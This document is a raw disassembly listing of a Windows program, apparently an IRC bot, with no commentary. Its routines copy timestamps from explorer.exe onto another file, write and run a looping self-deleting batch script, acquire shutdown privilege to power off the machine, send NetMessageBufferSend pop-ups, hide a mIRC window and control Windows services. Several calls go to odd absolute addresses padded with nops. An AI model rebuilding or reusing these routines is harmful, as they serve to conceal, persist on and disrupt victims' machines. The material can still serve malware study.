arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_4185B2
		push	ebx
		mov	ebx, edi


loc_418596:				; CODE XREF: sub_418579+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_4185B5
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418596
		pop	ebx


loc_4185B2:				; CODE XREF: sub_418579+18j
		pop	edi
		pop	esi
		retn
sub_418579	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185B5	proc near		; CODE XREF: sub_418579+25p
					; sub_4185D3+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41DFEC
		cmp	al, 61h
		pop	ecx
		jl	short loc_4185D0
		cmp	al, 7Ah
		jg	short loc_4185D0
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_4185D0:				; CODE XREF: sub_4185B5+Ej
					; sub_4185B5+12j
		xor	eax, eax
		retn
sub_4185B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185D3	proc near		; CODE XREF: sub_415E19+10p
					; ___:00415EEBp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41C500
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B9C0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41B9C0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_418579
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_418611:				; CODE XREF: sub_4185D3+B6j
		test	esi, esi
		jle	short loc_41868F
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DFEC
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41DFEC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_418687


loc_418637:				; CODE XREF: sub_4185D3+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_4185B5
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_418658
		mov	eax, ecx


loc_418658:				; CODE XREF: sub_4185D3+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41868B
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DFEC
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41DFEC
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_418637


loc_418687:				; CODE XREF: sub_4185D3+62j
		dec	edi
		dec	esi
		jmp	short loc_418611
; ---------------------------------------------------------------------------


loc_41868B:				; CODE XREF: sub_4185D3+8Aj
		xor	eax, eax
		jmp	short loc_418694
; ---------------------------------------------------------------------------


loc_41868F:				; CODE XREF: sub_4185D3+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418694:				; CODE XREF: sub_4185D3+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4185D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418699	proc near		; CODE XREF: sub_401ACD+66C5p
					; sub_401ACD+76FFp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 2680972h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 27E0000h
		lea	eax, [ebp+var_100]


loc_4186D2:				; CODE XREF: sub_418699+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_4186DE
		cmp	cl, 9
		jnz	short loc_4186E1


loc_4186DE:				; CODE XREF: sub_418699+3Ej
		inc	eax
		jmp	short loc_4186D2
; ---------------------------------------------------------------------------


loc_4186E1:				; CODE XREF: sub_418699+43j
					; sub_418699+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4186FB
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_4186E1
		cmp	cl, 21h
		jl	short loc_4186E1


loc_4186FB:				; CODE XREF: sub_418699+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DB17C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41C360
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418699	endp


; =============== S U B	R O U T	I N E =======================================



sub_418723	proc near		; CODE XREF: sub_401ACD+2470p
		push	esi
		push	0
		call	dword_4CB9A4
		test	eax, eax
		jz	short loc_41875A
		push	1
		call	dword_4CB9C4
		mov	esi, eax
		test	esi, esi
		jz	short loc_41875A
		push	edi
		push	esi
		call	near ptr 27E1707h
		nop
		push	esi
		mov	edi, eax
		nop
		call	near ptr 27E10C4h
		call	dword_4CBA28
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41875A:				; CODE XREF: sub_418723+Bj
					; sub_418723+19j
		xor	eax, eax
		pop	esi
		retn
sub_418723	endp


; =============== S U B	R O U T	I N E =======================================



sub_41875E	proc near		; CODE XREF: sub_401ACD+74BFp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CB9E0
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_4187DA
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 27F0498h
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 27F02CDh
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CBA30
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CBA30
		push	ebx
		nop
		call	near ptr 27F0000h
		push	edi
		nop
		call	near ptr 26608D5h
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_4187DC
; ---------------------------------------------------------------------------


loc_4187DA:				; CODE XREF: sub_41875E+16j
		xor	eax, eax


loc_4187DC:				; CODE XREF: sub_41875E+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41875E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4187E0	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CBA90
		test	eax, eax
		jz	short loc_41887F
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270F8
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41887F
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 2800764h
		push	ebx
		mov	ebx, dword_427070
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41887F
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 2800000h
		push	esi
		call	ebx


loc_41887F:				; CODE XREF: sub_4187E0+2Aj
					; sub_4187E0+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4187E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418884	proc near		; CODE XREF: sub_401ACD+1682p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CB914
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418884	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4188A6	proc near		; CODE XREF: sub_401ACD+270Ep
					; ___:00416C12p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_4188CA
		cmp	dword_4CBAA4, esi
		jnz	short loc_4188CA
		push	esi
		call	sub_401000
		pop	ecx


loc_4188CA:				; CODE XREF: sub_4188A6+13j
					; sub_4188A6+1Bj
		call	sub_40B583
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 26A0000h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 27107C1h
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_418A2A
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 2700000h
		push	edi
		call	near ptr 26608D5h
		nop
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43DB88
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 2690000h
		push	eax
		call	near ptr 2670000h
		nop
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 2680E33h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4189D2
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 2680D6Ah


loc_4189D2:				; CODE XREF: sub_4188A6+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	near ptr 2810000h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2660B67h


loc_418A2A:				; CODE XREF: sub_4188A6+72j
		pop	edi
		pop	esi
		leave
		retn
sub_4188A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A2E	proc near		; CODE XREF: sub_401ACD+7133p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26D04D8h
		cmp	[ebp+var_84], 2
		jnz	short loc_418AC4
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CB954
		push	edi
		push	eax
		call	dword_4CB964
		test	eax, eax
		jz	short loc_418AB6
		push	[ebp+arg_10]
		push	offset dword_4394FC


loc_418A8F:				; CODE XREF: sub_418A2E+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		jmp	short loc_418AEE
; ---------------------------------------------------------------------------


loc_418AB6:				; CODE XREF: sub_418A2E+57j
		call	near ptr 2680972h
		nop
		push	eax
		push	offset unk_4394D4
		jmp	short loc_418A8F
; ---------------------------------------------------------------------------


loc_418AC4:				; CODE XREF: sub_418A2E+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_4394A4
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 1Ch


loc_418AEE:				; CODE XREF: sub_418A2E+86j
		pop	edi
		leave
		retn
sub_418A2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AF1	proc near		; CODE XREF: sub_401ACD+551Cp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26D04D8h
		cmp	[ebp+var_90], 4
		jnz	short loc_418B47
		cmp	[ebp+var_8C], 0
		jnz	short loc_418B30
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_418B47
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B30:				; CODE XREF: sub_418AF1+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_418B42
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_418B47


loc_418B42:				; CODE XREF: sub_418AF1+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B47:				; CODE XREF: sub_418AF1+27j
					; sub_418AF1+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 26B0000h
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		nop
		call	near ptr 26B032Eh
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41E0D4
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41E0D4
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41E0D4
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41E0B7
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	near ptr 27907BAh
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_418AF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BD1	proc near		; CODE XREF: sub_40111D+F7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	near ptr 269083Ah
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4276E0
		call	sub_41D174
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418BD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C0E	proc near		; CODE XREF: sub_401ACD:loc_406021p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418C66
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_439520[esi]
		push	edi
		push	eax
		call	sub_418C88
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418C56
		push	edi
		push	off_43951C[esi]
		push	offset unk_439630


loc_418C46:				; CODE XREF: sub_418C0E+56j
		mov	esi, offset dword_4DBA40
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_418C83
; ---------------------------------------------------------------------------


loc_418C56:				; CODE XREF: sub_418C0E+2Aj
		push	eax
		call	sub_418D2A
		pop	ecx
		push	eax
		push	edi
		push	offset unk_439604
		jmp	short loc_418C46
; ---------------------------------------------------------------------------


loc_418C66:				; CODE XREF: sub_418C0E+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DBA40
		push	off_439518[eax*4]
		push	offset unk_4395E0
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_418C83:				; CODE XREF: sub_418C0E+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_418C0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C88	proc near		; CODE XREF: sub_418C0E+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CB9C8
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418CAF
		nop
		call	near ptr 2680972h
		mov	ebx, eax
		jmp	short loc_418D24
; ---------------------------------------------------------------------------


loc_418CAF:				; CODE XREF: sub_418C88+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CB8B0
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418CCF
		nop
		call	near ptr 2680972h
		mov	ebx, eax
		jmp	short loc_418D1C
; ---------------------------------------------------------------------------


loc_418CCF:				; CODE XREF: sub_418C88+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_418D02
		cmp	eax, 3
		jz	short loc_418CF3
		jle	short loc_418D15
		cmp	eax, 6
		jg	short loc_418D15
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CB91C
		jmp	short loc_418D09
; ---------------------------------------------------------------------------


loc_418CF3:				; CODE XREF: sub_418C88+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CB8B8
		jmp	short loc_418D09
; ---------------------------------------------------------------------------


loc_418D02:				; CODE XREF: sub_418C88+4Dj
		push	esi
		call	dword_4CB920


loc_418D09:				; CODE XREF: sub_418C88+69j
					; sub_418C88+78j
		test	eax, eax
		jnz	short loc_418D15
		call	near ptr 2680972h
		nop
		mov	ebx, eax


loc_418D15:				; CODE XREF: sub_418C88+54j
					; sub_418C88+59j ...
		push	esi
		call	dword_4CB8CC


loc_418D1C:				; CODE XREF: sub_418C88+45j
		push	edi
		call	dword_4CB8CC
		pop	esi


loc_418D24:				; CODE XREF: sub_418C88+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_418C88	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D2A	proc near		; CODE XREF: sub_418C0E+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418DDF
		jz	loc_418DD8
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418DA2
		jz	short loc_418D98
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418D8E
		dec	ecx
		dec	ecx
		jz	short loc_418D84
		dec	ecx
		jz	short loc_418D7A
		sub	ecx, 51h
		jz	short loc_418D70
		sub	ecx, 24h
		jnz	loc_418E55	; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D70:				; CODE XREF: sub_418D2A+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D7A:				; CODE XREF: sub_418D2A+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D84:				; CODE XREF: sub_418D2A+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D8E:				; CODE XREF: sub_418D2A+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D98:				; CODE XREF: sub_418D2A+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418DA2:				; CODE XREF: sub_418D2A+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418DD1
		dec	ecx
		jz	short loc_418DCA
		dec	ecx
		jz	short loc_418DC3
		dec	ecx
		jnz	loc_418E55	; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418DC3:				; CODE XREF: sub_418D2A+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DCA:				; CODE XREF: sub_418D2A+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DD1:				; CODE XREF: sub_418D2A+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DD8:				; CODE XREF: sub_418D2A+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DDF:				; CODE XREF: sub_418D2A+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418E55 ; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		jz	short loc_418E42
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418E55 ; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418E96[ecx]
		jmp	off_418E6E[ecx*4] ; switch jump


loc_418E03:				; DATA XREF: ___:off_418E6Eo
		push	offset aTheSpecifiedDa ; jumptable 00418DFC case 7
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E0A:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceDepe ; jumptable 00418DFC case 17
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E11:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceDe_0 ; jumptable 00418DFC case 10
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E18:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHasB ; jumptable 00418DFC case 0
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E1F:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheSpecified_0 ; jumptable 00418DFC case 2
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E26:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceCoul ; jumptable 00418DFC case 11
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E2D:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHa_0 ; jumptable 00418DFC case 14
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E34:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheRequested_1 ; jumptable 00418DFC case 3
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E3B:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHasN ; jumptable 00418DFC case 4
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E42:				; CODE XREF: sub_418D2A+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_418E47:				; CODE XREF: sub_418D2A+41j
					; sub_418D2A+4Bj ...
		push	offset dword_4DB380
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_418E68
; ---------------------------------------------------------------------------


loc_418E55:				; CODE XREF: sub_418D2A+36j
					; sub_418D2A+89j ...
		push	eax		; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DB380
		call	sub_41C266
		add	esp, 0Ch


loc_418E68:				; CODE XREF: sub_418D2A+129j
		mov	eax, offset dword_4DB380
		retn
sub_418D2A	endp

; ---------------------------------------------------------------------------
off_418E6E	dd offset loc_418E18	; DATA XREF: sub_418D2A+D2r
		dd offset loc_418E1F	; jump table for switch	statement
		dd offset loc_418E34
		dd offset loc_418E3B
		dd offset loc_418E03
		dd offset loc_418E11
		dd offset loc_418E26
		dd offset loc_418E2D
		dd offset loc_418E0A
		dd offset loc_418E55
byte_418E96	db	0,     9,     1,     2 ; DATA XREF: sub_418D2A+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EA8	proc near		; CODE XREF: sub_401ACD+44D6p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CB9C8
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_418EE0:				; CODE XREF: sub_418EA8+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CB994
		test	eax, eax
		jnz	short loc_418F1A
		nop
		call	near ptr 2680972h
		cmp	eax, 0EAh
		jnz	loc_418FCE


loc_418F1A:				; CODE XREF: sub_418EA8+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418FC5
		lea	esi, [ebp+var_188]


loc_418F2B:				; CODE XREF: sub_418EA8+117j
